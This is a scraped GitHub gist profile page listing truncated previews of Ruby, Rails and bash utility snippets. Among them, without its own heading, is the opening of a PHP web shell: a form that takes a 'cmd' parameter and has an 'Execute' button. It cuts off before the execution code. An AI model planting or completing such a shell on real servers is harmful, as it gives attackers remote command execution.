Skip to content

Instantly share code, notes, and snippets.

View XORwell's full-sized avatar
:octocat:
XORwell@github:~$ profile

Christian Nennemann XORwell

:octocat:
XORwell@github:~$ profile
View GitHub Profile
@XORwell
XORwell / freesound_downloader.sh
Created November 12, 2012 06:03
freesound.org sound-samples downloader
#!/bin/bash
#############
# CONFIG
redisDB=0
redisClient="/usr/local/bin/redis-cli"
redisServer="/usr/local/bin/redis-server"
diff(){
awk 'BEGIN{RS=ORS=" "}
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
@XORwell
XORwell / rails_monkeypatch.rb
Created June 9, 2021 01:55
rails_monkeypatch.rb
class Integer
# @example 15778476.to_duration.in_days
def to_duration
ActiveSupport::Duration.build(self)
end
end
class String
# @example "15778476".to_duration
def to_duration
@XORwell
XORwell / dump_db_to_json.rb
Created May 14, 2021 15:17 — forked from Ch4s3/dump_db_to_json.rb
Export local db to JSON and load that dump back to the db later
namespace :json do
desc 'Export all data to JSON files'
task :export => :environment do
Rails.application.eager_load!
ApplicationRecord.descendants.each do |model|
next if model.table_name.nil? || model.table_name == ''
begin
data = model.all
next if data == []
@XORwell
XORwell / net_http_digest_auth.rb
Created October 11, 2020 19:17 — forked from KINGSABRI/net_http_digest_auth.rb
HTTP Digest Auth for Ruby's net/http
# Support for http digest auth
# Discovered here: http://johan.bingodisk.com/public/code/net_digest_auth.rb
require 'digest/md5'
require 'net/http'
module Net
module HTTPHeader
@@nonce_count = -1
CNONCE = Digest::MD5.new("%x" % (Time.now.to_i + rand(65535))).hexdigest
@XORwell
XORwell / simple_form_bootstrap.rb
Last active September 3, 2018 05:15
bootstrap 3 simple_form wrappers
# http://stackoverflow.com/a/18684021
# Bootstrap 3
inputs = %w[
CollectionSelectInput
DateTimeInput
FileInput
GroupedCollectionSelectInput
NumericInput
PasswordInput
RangeInput
@XORwell
XORwell / active_ldap_extensions.rb
Last active December 28, 2015 05:29
ActiveLdap Extensions
# ActiveLdapExtensions
#
# @author Christian Nennemann
#
module ActiveLdapExtensions
extend ActiveSupport::Concern
module Time
# Convert the time to the FILETIME format, a 64-bit value representing the
# number of 100-nanosecond intervals since January 1, 1601 (UTC).
# ApplicationController
around_filter :global_request_logging
def global_request_logging
logger.tagged('USERAGENT'){ logger.info "#{request.headers['HTTP_USER_AGENT']}" }
begin
yield
ensure
logger.info "response_status: #{response.status}"
end
@XORwell
XORwell / redirect_pages_back.rb
Created October 30, 2013 18:46
rails redirect some more pages back than redirect_to :back
#ApplicationController
after_action :set_pages
def set_pages
max_size = 5
session[:pages] = [] unless session[:pages]
session[:pages].shift while(session[:pages].size >= max_size)
session[:pages] << request.original_url
end